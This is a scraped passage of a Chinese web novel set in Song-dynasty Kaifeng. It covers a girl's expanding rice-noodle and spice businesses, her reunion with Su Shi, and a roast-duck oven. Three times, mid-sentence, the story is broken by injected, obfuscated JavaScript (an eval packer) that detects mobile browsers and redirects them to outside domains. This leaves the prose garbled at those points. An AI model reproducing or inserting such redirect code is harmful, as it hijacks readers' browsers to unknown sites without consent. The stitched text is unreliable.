王文茵从他们脸上读出了他们内心真实的想法，倏而一笑，“李叔，李婶儿，你们不必担心，去汴京摆摊卖米线的人不是阿萍。” 那是谁呢？所有人都缓缓打出了一个问号。 “我打算再招募一批伙计去汴京城里摆摊卖米线。”王文茵转身看向李阿萍：“阿萍就负责管理培训这些伙计，每日出摊后再去各个摊位视察一下。” 阿萍一听可高兴了，“小娘子是让我做掌柜吗？” 王文茵点头，“你不止是掌柜，你也是东家。朱仙镇的李记米线就是咱们的根据地，伙计在此处培训合格后再分配去京城里上岗摆摊，李叔李婶儿今后主要负责培训伙计。” 李三毛两口子听完这样的安排既高兴又担忧，高兴的是他们不但拥有了一家属于自己的米线店，还要去汴京城里开分摊；担忧的是万一伙计们把手艺学会后跑出去自己开店抢生意该咋整？ 阿萍将她爹娘的担忧转告给王文茵，她知道他们这样想不对，但又觉得应该提醒王文茵，毕竟她也是李记米线的股东。 “小娘子，我知道我爹娘不应该这么想的，毕竟这原汤米线的配方是你教给我们的，可我们不会背叛你，我们就是……就是担心其他人偷走了配方来跟我们抢生意……”阿萍惭愧得低下了头。 “你们有这个顾虑是对的。”王文茵一句话就打消了阿萍一家人的顾虑。 阿萍惊讶地抬起头，“小娘子不认为我们有这想法很可耻？” 王文茵噗嗤一笑，道：“这有什么可耻的，在商言商，谁做生意不会留一手？” 阿萍心里一暖：理解万岁！ “既然‘李记米线’已在朱仙镇打响了名头，相信很快便有精明的小商贩跟风卖米线。这米线就跟汤饼一样，即便原汤米线的配方是李记独有，也架不住小商贩为了打开市场自行研制出其他口味的米线来卖，是不是？” 阿萍一家人仔细一想觉得确实是这个理儿，不免有些焦心，看来同行竞争是在所难免了。 “你们也不必担心。”王文茵道：“与其被动等着人来抢生意，不如主动出击，将李记米线的名号彻底打响，今后凡是食客谈起米线第一个想到的便是老字号‘李记’。” 王文茵早就帮李记米线想好了营销方案，先给李记编一个创业故事，再立一个人设，贴上“一直被模仿，从未被超越”这张标签。甭管将来有多少家米线店出现在汴京，食客永远都会记得最早开店卖米线的是“李记”。这，就是老字号的魅力。 一直没说话的张二嫂也发表了自己的意见：“汴京城比朱仙镇大很多，如果租店卖米线房租就是很大一笔开支，相比之下摆摊卖米线就比较灵活，还可以深入到汴京城的各个区域，有利于打响‘李记米线’的招牌。” “婶子说的在理。”王文茵朝张二嫂赞许点头：“米线店跟美容院不一样，美容院要考虑到客人的隐私就必须租实体店面。 卖吃食的小商贩可以走街串巷，路边摊成本也相对比较低，等‘李记米线’在汴京打响名头再开实体店也来得及，这样还可将风险控制到最低。” 阿萍打着手语告诉她爹娘：“爹娘就守着朱仙镇的老字号店铺，我带着伙计们去汴京城里摆摊卖米线。小本买卖即便是破产损失也不大，今后朱仙镇就是咱们‘李记米线’的根据地，这叫进可攻退可守。” 李三毛两口子这才放下心来，对王文茵这个决定也举双手表示了赞同。 商量完大事大家分头行动，张二嫂负责培训新的美容师，李阿萍一家则是招聘摆摊卖米线的伙计。 王文茵将自己投资的几项产业做了详细的阶段性总结和下一步的规划： 首先是香料工坊，由于是跟静缘庵和赵太医家三方合资的，目前运作良好，产品有固定销路，已经实现了盈利。考虑到要扩大生产就必须加盖新的厂房，增添新的人手，所以赚来的钱还得继续投入进去。也就是说下一阶段香料工坊是负债状态，不过相信很快就能实现盈利。-1 其次是米线作坊，米线的销路打开后订单量已经排到明年去了。扣除员工工资和部分成本，这段时间的盈利几乎已将投资建厂房和设备的资金全部覆盖了，如果不考虑扩建增产，接下来基本就是盈利了。+1 王文茵跟静尘师太商量过后，打算将原先在米线作坊打工的老人和女人全部调到香料工坊来。至于米线作坊这边短缺的人手则可向县衙申请征调一批流民过来做工，这样还能帮县衙解决一部分流民的生存就业问题，可谓是一举两得。其实米线作坊原本是计划归入丰收农场的农场品加工模块的，考虑到今后要解决流民的就业问题，还是单独拎出来运营比较合适。 至于丰收农场嘛因为有文家七衙内入股，前期资金周转没什么问题。养殖区、种植区和堆肥区都已经启动，除了堆肥周期比较长，其他两大模块只要没有太严重的天灾人祸，明年多少都能有产出。最起码养活农场的员工是没什么问题，运气好或许还能有盈余。-1 朱仙镇上的兴隆堂前期是由赵元宁垫付了房租、装修和原材料成本，月底盈利扣除员工工资后还不能覆盖投入的资金。所以，去汴京城开美容院这事儿王文茵便不打算再让他参与了，以免赵家人误会她要跟他们捆绑。-1 李记米线这段时间赚的钱几乎都投入到新店的租金和装修上了，接下去还要让穆叔再打造几辆新餐车，培训一批新伙计，这部分开销只能由王文茵来负担。所幸她手头的钱还够，用来支付美容院的租金和李记米线的运营成本应该没什么问题。-1 盘完账，做好下一步的资金分配，王文茵感到从未有过的踏实、安心。虽然一通折 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060409|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腾下来手上的钱不见多，但每一项投资都运转良好，还养活了这么多人，做老板的成就感还是挺足的。 这一晚，她久违地做了个好梦，在梦里还见到了祖父。 ***** 一切都在井然有序地进行中，米线作坊新来了一批务工的流民，由鲁大负责培训管理他们。如今鲁大已经成了王大崔的副手，他实在太能干，以至于王大崔暗暗生出既生瑜何生亮的焦虑来。 鲁大倒是聪明，知道如何拿捏王大崔，他既不奉承，也不张扬，而是适时提醒王大崔，你是米线作坊的股东，而我只是一个打工的，我再能干也是给你打工，你担心什么呢？ 领悟过来后王大崔就放下了戒心，有个能干的副手他乐得轻松。每日里东逛逛，西瞅瞅，做个甩手掌柜，日子不要太滋润，以至于新来的流民他都没空亲自查验身份，只叫鲁大将人领去培训合格就上岗。 与之相对的是香料工坊这边新招募的员工虽都是原先山下的流民，大家都知根知底，但静尘还是很负责地跟每个人都签了保密契约。 香料工坊以小组为单位计件生产，产量高的小组除了基本工资外还有额外的奖金，相应的产量低于平均产值的小组也会被扣钱。 工坊这边的活虽然不比山下的米线作坊轻松，但干活的基本都是女人、老人和半大的孩子，工作氛围比山下可好太多了。加上香料工坊给员工的福利是每人每月一套洗护用品，自己要是用不完还能拿去卖给村里和外头的农妇，大家都很喜欢这份工作，干起活来可卖力了，生产效率那是一日高过一日。 农场那边武大娘子说自己孵化小鸡比买鸡苗更省钱，王文茵便支了一笔钱让她买了几只母鸡和一只雄鸡自然□□产蛋，还盖了一个保温的鸡棚。 上次开完会后，武大娘子跟她男人商量决定还是先给农场打工，这样既有固定工资，干得好年底还有分红。她坦率告诉王文茵，自己想等农场运作起来，手头又有了积蓄后再入股。王文茵倒是无所谓，只要武大娘子愿意好好干，她怎么都可以。 王文茵本想叫武大娘子再顺便孵化一些鸭子，这样鸭子既可以在水稻田里吃虫子，再顺便把杂草也给除了，实现稻鸭共作模式，更重要的是她很想吃后世著名的“北京烤鸭”。 虽然《食珍录》中记载“北京烤鸭”最早可追溯到南北朝时期的宫廷名菜“炙鸭”，但王文茵问过吃货赵四郎，汴京城中售卖的炙鸭大都口感干柴，跟后世鼎鼎大名的“酥不腻烤鸭”相去甚远。她不禁狠狠心动，若是自己的农场能养肥鸭，岂不是可以去汴京开一家“全聚德”烤鸭店？【注1】 结果没想到武大娘子说鸭子最好在过完年开春后再孵化，因为那个时候气候由冷转暖，农作物开始生长，孵化的雏鸭有了丰富的饲料，更利于生长，产蛋。【注2】 好吧，看来想吃“酥不腻烤鸭”还得等来年。 岂知王文茵这边还在为吃不到肥美的烤鸭而惆怅，隔日文安世居然就送来了四只肥鸭。 58. 第五十八章 “李记米线”总店开业的大日子，王文茵偕同周婆子他们几人前往朱仙镇捧场，刚踏出静缘庵的山门，便看到文安世缓步走上台阶，身后还跟着提溜着四只鸭子的陈武。 王文茵略感诧异，上前行礼问候：“七衙内今日怎么大早就来静缘庵了？可是找我有事？” 文安世抿嘴笑笑，示意身后的陈武将两只鸭子递过去给她。 王文茵惊诧莫名，这不是互联网大数据推送的现代，这可是宋朝！自己不过是在脑子里幻想了一下酥不腻烤鸭，文七郎是怎么知道自己想吃烤鸭的？ 一旁的周婆子见状先笑了出来，打趣道：“唷，小娘子昨儿还在念叨说要吃什么烤鸭，七衙内今日就送鸭子来了，这可不是巧了嘛，嘿嘿。” 王文茵有种被人窥探了内心秘密的感觉，脸腾一下就红了，嘟哝道：“平白无故送我鸭子做什么？” 文安世一本正经道：“昨儿去农场转了转，听武大娘子说小娘子想养些鸭子来吃，我猜你必定是有做鸭肉的秘方，于是便想趁机蹭一口尝尝，不知可否满足我这小小心愿？” 原来如此，是武大娘子嘴大说漏了，可见即便没有大数据推送，人嘴传播的速度也是以光速计算的。 王文茵受之无愧，让周婆子将鸭子先拿去后院将养，“今日怕是不行，我得去一趟朱仙镇。我这里确实有一道‘酥不腻烤鸭’的秘方，只是需要定制一个特殊的烤炉，做起来费点事，待我从朱仙镇回来后再做与你吃，可否？” 文安世心里一乐，脸上掩不住笑意，叉手道谢：“多谢小娘子！” 王文茵还了一礼：“郎君不必客气，你出鸭子我出力，大家都有的吃，何乐而不为呢？” 王文茵回身见周婆子正蹒跚着往山下走来，便同文安世告辞：“我先走一步，郎君请自便。” “不如让陈武送你去朱仙镇。”文安世指着山下的马车道：“我正好也要去那边，顺道而已。” 陈武忍不住腹诽：七郎又在胡扯了，什么顺道，他要去的分明是陈留镇，同朱仙镇根本就是南辕北辙两个方向。 王文茵却摆手拒绝：“七衙内不必客气，我已雇了一辆骡车，很方便的。” 文安世也不勉强，点头：“小娘子路上小心。” 待王文茵她们离开后，陈武揶揄他：“七郎，咱们今日还去朱仙镇吗？” 文安世假装听不懂，撩起下摆大步朝山下走去，头也不回扔下一句：“我什么时候说要去朱仙镇了？” 陈武简直不敢相信自己的耳朵，“七郎是觉得我耳背吗？适才我明明听到你说要顺道送王小娘子去朱仙镇的。” “是吗？”文安世大言不惭：“那可能真的是你耳背听错了。” 陈武疯狂腹诽：七郎怕不是鬼迷了心窍吧！ **** 镇民们听说今日镇上的“李记米线”新店开业大酬宾，凡是前来捧场的食客一律打七折。不管朝代如何更替，打折、降价、满减、优惠卷对任何时代的人都有着无法抗拒的吸引力。 王文茵深谙此道，得意洋洋看着“李记米线”铺子前排着长龙等候叫号入座的食客们，嘴角情不自禁扬起一抹“我就知道这招好使”的笑容。 先前李记米线是路边摊街头小吃，在场地有限人手不足的情况下王文茵让阿萍父女只卖原汤肉丝粉和猪油拌粉两种米线，如今有了灶房还添了几名伙计，只卖两种米线怕是不够。于是王文茵在菜单上又添加了炒米线，凉拌米线、猪杂粉和猪脚粉这几种米线。 虽然品种增加了，但价格依然没变，猪油拌粉还是5文钱一碗，原汤肉丝粉20文一碗，炒米线和凉拌米线15文一碗，而猪杂粉、猪脚粉也只需25文，主打一个味美、价廉、亲民。 除了米线粉汤，李记还卖炊饼，除了之前广受好评的五香花卷，这次王文茵又教阿萍他们学做了糯米烧麦。跟花卷一样，烧麦可以带走吃，也可以堂食，五香花卷5文钱一只，烧麦则按笼卖，一笼四个15文，单卖也是5文钱一个。 要按王文茵的想法，其实应该再卖些甜的炊饼，例如红糖包、糖三角、芝麻猪油包之类的甜食。吃完咸的再吃口甜的，一口咸一口甜，才是最销魂的味觉享受。 可惜糖在北宋还属于奢侈品，汴京市面上售卖的食用糖主要是蜂糖、麦芽糖和沙糖（蔗浆）这几种。麦芽糖虽相对便宜，却不适合做糖包，沙糖价格又太贵，在没有渠道获取更便宜的食用糖之前王文茵只能先忍痛割爱了。 考虑到今日客人实在是多，周婆子表示既然来都来了，不去后厨帮点忙也说不过去，便主动请缨去烧大灶。 王文茵还是个孩童，做服务员不合适，便在柜台后面帮阿萍收银记账。 阿萍腾出手来满场飞来飞去，又是端盘子，又是招呼客人，越来越有老板娘的范儿。她早已不再介意旁人对她脸上那块胎记的指指点点，人一旦有了底气就跟有了一层坚硬的外壳，旁人的恶言恶语便再也无法伤害到她了。 刚过午时，店内进来一位面容清癯，头发花白，身着白绸交领上襦搭皂色缘边驼褐色鹤氅，足踏平头鞋的中年男人。【注1】 阿萍一见来人立马就飞奔上前，“大人，你终于来了啊！” 中年男人捋须微笑点头：“听闻‘李记米线’今日新店开张，特地过来捧个场。” “大人真是太客气了，快请随我到雅座来。”阿萍引着中年男人往店内侧的角落方向走。 所谓的雅座其实就是几块屏风隔开的边角落，位于收银柜台一侧，路过收银台时王文茵恰好抬起头来跟中年男人打了个照面，双方俱是微微一怔。 “阿茵？” “苏大人！” 来人正是东坡居士——苏轼苏子瞻。 苏轼上下打量王文茵，确定自己没认错人，神色微微一动，语气有些激动：“阿茵，你怎么在这儿？可知我找了你很久。” 机灵的阿萍率先反应过来，笑嘻嘻道：“原来大人跟我们小娘子认得？” “你们小娘子？”苏轼很疑惑，心想：先前在王介甫府上似乎从未见过这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063686|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个婢女。 阿萍掩嘴低声道：“大人可还记得先前曾问过我从何处学来的这米线的做法？” 苏轼的疑惑更深了，神色复杂地看了王文茵一眼。 “这米线并五香花卷，还有咱们店新推出的点心——烧麦，都是王小娘子教的。”阿萍很是骄傲。 苏轼简直不敢相信自己的耳朵，惊诧地瞪着王文茵，“是，是真的吗？” 王文茵略显尴尬笑了笑，默认了。 “当然是真的！”阿萍自豪道：“小娘子还是咱们‘李记米线’的创始人兼大股东呢。” 真是士别三日当刮目相待，苏轼感到难以置信。 上次见到王文茵还是三年前，彼时他因“乌台诗案”被贬至湖北黄州“安置”四年后，于元丰七年（公元1084年）特地绕道江宁（今南京）拜访了已退休隐居钟山的王安石。那年王文茵才不过八岁，还是个害羞腼腆的小娘子，如今三年未见，她竟然蜕变成了女商人。苏轼内心百感交集，想说什么，千言万语堵在胸口，一时竟不知从何说起。【注2】 王文茵生怕苏轼当众叫破自己的身份，眨眨眼道：“苏大人可愿随我去一个地方？” 苏轼怎会不懂她的意思，马上点头道：“好。” 王文茵将适才抽空描绘的烤鸭炉的设计方案图收拢藏入袖袋中，跟阿萍交代了几句后便同苏轼一道出了李记米线。 两人沿着河道朝前走去，苏轼忍了又忍，终于还是忍不住开口问道：“这段时日究竟发生了什么？阿茵你怎会是‘李记米线’的幕后老板？” 此时周围并无闲杂人等，王文茵这才开口将自己被蔡家退婚，祖母一怒之下带着她和阿弟二人前往汴京向蔡家发难，结果却不幸感染时疫去世。祖母离世后她也感染了时疫，蔡家人怕被她拖累，便将她和阿弟遗弃在了汴京城外的静缘庵。因身无分文，为了活命她便想到用早籼米做米粉同村民们换粮食赚取差价。也是在静缘庵里结识了阿萍、张二嫂等人，是以便带着他们开始做起了米线买卖。 “起初的时候只是想赚点钱养活我们自己，结果没想到我们做的米线居然广受好评。于是便有朱仙镇上的米粮铺老板前来洽谈合作，我便决定用赚来的银子投资开设一家米线作坊，专门用来帮米粮铺子加工米线。同时，为了推销我们自己生产的米线，阿萍一家便在镇上摆起了米线摊，食客多了之后我们又将米线摊升级成了米线铺子，便是您如今看到的样子。” 王文茵说得轻描淡写，像是在讲一件跟自己毫不相干的旁人之事，也没告诉苏轼自己先前差点就死在汴京城外一事。 可苏轼知道走到今天她一定吃了不少苦，不由愤慨道：“蔡家二房主母便是你嫡亲的二姑母，她竟然冷血至此，在你染疫之时将你们姐弟遗弃在福田院，介甫兄若是知道唯一的亲孙女遭此大难，怕是在九泉之下也无法安宁。” 王文茵却释然一笑：“人各有天命，若是当初二姑母没将我们姐弟赶走，也许我也未必能像如今这般自在，这大概就是否极泰来吧。” 59. 第五十九章 苏轼像是不认识一般再度打量王文茵，发现她真的跟三年前那个稚气未脱的小女娃不一样了，如今的她眼神坚定，自信大方，无论是行事还是谈吐都像个成年人一般淡定且冷静。 他不禁感慨：“人这一生都会遇到难以跨越的挫折，轻则伤筋动骨，重则一命呜呼，难得的是你在绝境中尚能保持乐观积极的心态，最终通过自己的努力实现逆风翻盘。介甫兄若是在天有灵定会为你感到骄傲。” 王文茵抿嘴一笑，朝苏轼福了一福，“苏大人谬赞，小女子愧不敢当。” 苏轼闻言哈哈大笑，这一笑竟有些停不下来，笑着笑着眼角就湿润了。 王文茵有些担心地看着苏轼：“苏大人可是有什么伤心事？” 苏轼这才停止了狂笑，抬起手指抹去眼角的泪水，摇头叹道：“我素来自诩洒脱，其实不过是装出来给人看的，真正的洒脱就应如阿茵你这般，将不愉快的人和事抛诸脑后，一门心思做自己喜欢的事。” 王文茵知道苏轼放不下的定是当年将他陷害入狱，差点令他死在监牢里的“乌台诗案”和其背后的始作俑者。 祖父素来惜才，在世的时候就经常提起苏轼，说他是自己见过最有才华的人，虽然二人政见不同，在朝堂上总是针锋相对，但也不妨碍祖父对他的欣赏。所以后来“乌台诗案”爆发后，朝中不管是新党还是与苏轼政见相同旧党都跳出来要置他于死地，唯独早已退休在金陵的王安石听闻此事后连夜请人将一封求情信送到宋神宗手中，以一句“安有圣世而杀才士乎？”劝谏神宗刀下留人。最终“乌台诗案”以王安石“一言而决”，苏轼得以从轻发落，贬为黄州（今湖北黄冈）团练副使。【注1】 “当年我落狱之时，除了家人便只有介甫兄站出来替我说话，介甫兄于我有救命之恩。”苏轼黯然道：“元丰七年（公元1084年）我离开黄州前往汝州就任途中，我的遁儿却因病夭折。彼时我只觉心灰意懒，在去常州之时途径金陵，便想同介甫兄见一面，当面跟他说声谢谢。”【注1】 “介甫兄得知我前去拜访，特地披着蓑衣，带上斗笠，骑着驴赶来渡口与我相会。渡口的船夫怎么都想不到，岸上这位风尘仆仆的老叟竟是曾经叱咤风云的同中书门下平章事（宰相）。”说到这里苏轼嘴角不经意扬起一抹笑来，“介甫兄将我接到家中好生款待，为了开导我，携我共游钟山，诗歌唱和，彻夜畅谈，化解我内心的郁闷。”【注1】 苏轼转头看向王文茵，眼神充满了怜惜，“那也是我第一次见阿茵你，彼时你不足八岁，还是个害羞腼腆的女娃儿，想不到一别三年，你已经出落成亭亭玉立、独当一面的小娘子了。” 王文茵莞尔一笑，“那一日祖父说有个死对头要来拜访，可把我吓了一跳，还以为是什么凶神恶煞之人，结果没想到来的居然是一位风度翩翩的儒雅君子。” 苏轼闻言哈哈大笑，“阿茵，你真是越来越会说话了，彼时我可是穷困潦倒，还满腹怨恨，哪有什么风度可言？” 王文茵却摇头，“不，苏大人在我心目中一直都是真君子，这也是祖父不惜一切都要保下你的原因。” 苏轼内心涌起一股暖流，眼角微微湿润，“君子和而不同，介甫兄才是真君子，他的胸怀之宽广，品格之高尚，远非我能及，只可惜那一次竟是我同他见的最后一面。” 王安石过世的消息传到苏轼那边时已经过去三个月，他连夜赶赴金陵想给这位亦师亦友的前辈敬一炷香，结果却发现他退休后隐居的半山园早已人去园空，园中只剩下一座孤零零的坟茔，他的夫人和两个孙儿却不知去向。 “我得知介甫兄离世的消息太晚，赶去金陵时你们姐弟与吴夫人已经离开。祭拜完介甫兄后，我找到了你二叔，可他并不知晓你们的去向，于是我只好托人四处打听你们的下落。若是我早知道你们就在京城，便是无论如何都不会让你们姐弟无家可归，流落到福田院里去的。” 一想到王文茵姐弟差点死在汴京城，苏轼情不自禁攥紧了拳头，“阿茵，如今我既已找到你们姐弟，便不能让你们流落在外而袖手旁观。不如你们随我回家，我家虽小，却还容得下你们姐弟二人。” 王文茵低头认真想了想，随后抬起头来朝苏轼笑着道：“苏大人，请随我去一个地方。” 苏轼不明所以，只好点头应了。 王文茵将苏轼带到那个西域铁匠阿隼的铺子里，从袖袋里掏出烤鸭炉的设计图纸，交给阿隼，“阿叔，麻烦帮我打造一个烤炉。” 阿隼接过王文茵的图纸仔细看了看，点头闷闷地嗯了一声。他已经熟练掌握了这位王小娘子设计的各种奇奇怪怪的工具图纸，连话都懒得多问一句，反正只要按照她画在图纸上的尺寸和造型做就成了。 “小娘子什么时候要？” “自然是越快越好。” 王小娘子给钱爽快，人又和气，不会因为他的长相对他有偏见，阿隼内心已经把王文茵划归为“最尊贵的金主爸爸”了，当即点头：“两日内必能完工。” 王文茵很满意，将定金付上，“还是老规矩，完工后兴隆堂的掌柜张二嫂会来取货并支付尾款。” 阿隼点点头，将图纸放到一旁的案几上继续打铁。 苏轼好奇地瞅了一眼烤鸭炉的图纸，感觉十分新奇：“这是阿茵你画的……铁桶？” “嗯。”王文茵抿嘴笑道：“不是铁桶，是烤鸭炉。” 苏轼仔细一看，果然烤炉内还吊挂着一只脱了毛的鸭子，不禁失笑：“我竟不知你还会做烤鸭。” “我也是第一次做，想尝试一下。”王文茵知道苏轼素来热爱美食，是个地地道道的老饕，这烤鸭定能让他开怀。 谁知苏轼却很难过，想不到曾经的宰相孙女如今却连烤鸭都吃不起，便道：“阿茵若是想吃炙鸭我给你买，何必自己辛苦？” 王文茵噗嗤一笑，“苏大人误会了，我想尝试的是汴京城内还没有出现的‘酥不腻烤鸭’，不是普通的炙鸭。” “酥不腻烤鸭……是哪个地方的名菜？”苏轼捋须回想，“我怎么从未听说过？” “呃……酥不腻烤鸭出自金陵。” “金陵烤鸭？怎地上次在金陵没听介甫兄提起？”【注2】 “苏大人是知道的，祖父他从来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15068673|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不讲究吃穿，又怎会记得这道菜。”王文茵讪笑。 王安石生前以邋遢不爱洗澡换衣服闻名，吃饭也只吃放在自己面前的饭菜。苏轼他爹苏洵还曾写过一篇《辩奸论》骂王安石“衣臣虏之衣。食犬彘之食，囚首丧面，而谈诗书”。意思是这个人的穿着形同奴仆下人，吃的东西跟猪狗之食一样，蓬头垢面像个牢中囚犯，竟然大谈诗书。【注1】 苏轼哈哈大笑，“确实，在介甫兄看来吃什么都一样，能填饱肚子就成。” 王文茵一头汗，要骗过一个专业吃货是多么不易。 “苏大人可想尝一尝酥不腻烤鸭？” 苏轼怎么可能拒绝得了美食的诱惑，当即答应：“那我便于七日后的休沐日前往静缘庵品尝被阿茵你赞不绝口的金陵酥不腻烤鸭，哈哈。” “我还有一个不情之请。” “阿茵但说无妨。” “旁人并不知道我的真实身份还请苏大人帮我隐瞒。” 苏轼含笑点头，“适才在李记米线我就看出来了，他们并不知晓你是谁。不必担心，在汴京除了你那二姑母外，恐怕也只有我一人知道。” “多谢苏大人。”王文茵朝苏轼福了一福：“那我便在静缘庵恭候大人。” “哈哈哈，好！我一定按时赴约。”苏轼笑道。 **** 六日后，张二嫂亲自带人将王文茵让阿隼打造的烤鸭炉押送到了静缘庵的山脚下。 送货的人搬不动烤鸭炉，张二嫂便上山去找人下来帮忙一起抬炉子，刚到静缘庵门前，发现有个面生的男人正鬼鬼祟祟朝庵内张望。 “你是何人？在这里做什么？” 张二嫂大叱一声，上前蹿到男人面前。 男人被吓了一跳，本想逃跑却被张二嫂挡在了下山的路口，他眼神闪烁，神情慌张，结结巴巴解释道：“我，我，我是在山下米线作坊务工的流民。” 张二嫂仔细打量面前的流民，发现此人虽然衣衫褴褛，面色蜡黄，但一双手却十分干净，连老茧都没有，不太像一般的流民，心中顿时响起了警铃。 “你叫什么？” “我，我姓闫，大家都叫我老闫。”男人满面堆笑，带着一丝讨好：“大娘子是哪位？” 张二嫂没回答他的问题，反问道：“你是新来的流民？” “是，是。”老闫低着头嗫喏应道。 张二嫂心中的疑惑越发深了，审问道：“新来的流民不是被统一安置在山下的窝棚内居住吗？你一个人偷偷摸摸跑到山上的尼姑庵来做什么？” 老闫做出一副可怜样，颤声道：“天太冷，我想上山去捡些干柴取暖，走到半山腰发现这里有座尼姑庵，心里好奇就多张望了两眼，大娘子可千万别误会呀，我不是来偷东西的贼。” 张二嫂暗暗冷笑，“谅你也不敢，尼姑庵里都是女人，你一个大男人没事别上山，知道吗？” “知道，知道，大娘子教训的是，下次再也不敢了。”老闫说完拔腿就往山下跑去。 张二嫂盯着他的背影，直到他跑进了流民居住的窝棚内，这才转身进入静缘庵。 60. 第六十章 卡仕达酱 回到静缘庵，张二嫂先去香料工坊转了转，跟静尘师太了解了一下工坊的生产进度。 香料工坊的人手增加了一倍，干活的主力由原先静缘庵的老尼姑和福田院的老弱病残变成了山下流民中的中青年娘子军。 中青年娘子军做事麻利，上手又快，还懂得照顾年老体弱的人，抢着干重体力的活，把切割、分装等相对轻松的活计让给年纪大体力弱的人。如此一来，不但工作效率提高了，工坊内的工作氛围也越发和谐了。 “一段日子没回来，师太已经把香料工坊管理得如此井井有条了。”张二嫂真心诚意地拍马屁。 静尘却不揽功，摇头道：“不是我的功劳，是王小娘子教得好。她说这叫‘流水线作业’，按照每个人不同的特点将他们安置在流水线的节点上，不但能提高效率，还能将人的主动性和积极性发挥出来。” “如果不是师太你在香料工坊把控产品质量，我们兴隆堂的产品又怎会如此受欢迎，师太你功不可没。” 张二嫂执着地要奉承静尘，这对于不习惯被人当面吹捧的静尘来说简直就是如芒在背，鸡皮疙瘩都起了一身。 “二婶子是来找小娘子的吧？她在后院呢。” 差点忘了正事！ 张二嫂找了两名年轻体健的女子下山去帮忙抬烤鸭炉，三个女人将拆分开的烤鸭炉一道儿抬进了后院。 王文茵正在后院帮周婆子杀鸭子，她胆小不敢下刀子，周婆子笑着让她捂上眼，自己三下五除二便将鸭脖颈割开，放血，再将鸭子浸入烧开的热水中，便于脱去鸭毛。 “阿婆，鸭毛留着别扔，回头洗净晾干可以填充到衣物内保暖用。”王文茵道。 周婆子头回听说鸭毛还有这用途：“鸭毛还能当填充物保暖用？” “嗯。”王文茵点头：“用鸭毛填充的衣服就叫‘羽绒衣’，可保暖了。” 周婆子不无惋惜道：“咳，早知道当年在大户人家做工的时候就应该把鸭毛都攒下来做冬衣。” 张二嫂进来的时候正好听到后半句，噗呲一笑：“周婆子，你现在开始攒也来得及，小娘子不是说打算在农场里养鸭子嘛，到时候你就专门负责攒鸭毛。” 周婆子知道张二嫂这是在打趣她，倒也不生气，照单全收：“那感情好，回头我就靠攒鸭毛发家致富了。” 众人一阵哄笑，谁也没当真，王文茵却一本正经道：“那以后攒鸭毛做羽绒的活儿就交给周阿婆了。” 周婆子傻眼，“小娘子，你说真的？” 王文茵眨巴着眼道：“当然是真的，这可是很大一笔买卖。” 要知道在棉花还没被普及的宋朝，鸭绒可是最好的保暖材料，养鸭子不但能满足口腹之欲，还能帮农田除草杀虫，鸭子可谓浑身是宝，试问谁能放过这么好的赚钱机会？ 王·葛朗台·文茵誓要榨干鸭子的每一分价值！ 张二嫂咯咯笑，“先头若是有人说这世上有聚宝盆，我定是不信的，自打跟了小娘子后，我信了！小娘子不就是聚宝盆嘛，什么东西到你手里就能变出大把的银子来，哈哈。” 其他人也跟着说是，王小娘子就是聚宝盆，跟着王小娘子后他们都过上了好日子。 王文茵十分汗颜，想象一下自己变成一个圆咕隆咚的聚宝盆，赶紧摇头，“不，我不是聚宝盆，我最多就是点石成金，把你们自己都不知道的潜能激发出来，因为大家的努力我们才过上了好日子，只我一个光杆司令什么也成就不了。” 众人无不动容，在遇见王小娘子之前他们都是这个社会的底层边缘人，没有人看好他们，包括他们自己，活着就只是为了苟延残喘。突然有一天，有人告诉他们，他们不是废物，他们还有机会发光发热，甚至改变自己的人生，于是他们被忽略的潜能重新被激发，整个人就像枯木逢春一般焕发出勃勃生机。 “小娘子说得对，靠自己双手改变自己人生的感觉真的太好了！”张二嫂哽咽道。 周婆子虽然也感同身受，不过她觉察出王文茵的尴尬，立马打趣张二嫂：“二婶子，你可别煽情了，咱们今儿可是要做烤鸭哩，‘金陵酥不腻烤鸭’，你想吃不？” 张二嫂一拍大腿，自责道：“看我这糊涂的，差点儿把正事给忘了。小娘子，适才我在庵门口看到一个男人鬼鬼祟祟朝里头张望，不知在打什么鬼主意，一问之下才知道他是山下米线工坊新招的流民，叫老闫，说自己上山捡柴禾走迷了路。不过我看他那样子却不太像一般的流民，倒像是来路不明的探子，你可得防备着点。” 王文茵思忖片刻，道：“不打紧，回头找王大叔过来问问就知道了。” 张二嫂虽然还是隐隐担心，但见王文茵一脸笃定的样子，料想她必定早有防备，便也放下心来，嬉笑道：“那日小娘子说要我回来尝尝‘酥不腻烤鸭’，我已经馋了好些日子了，可有我能帮得上忙的地方？” 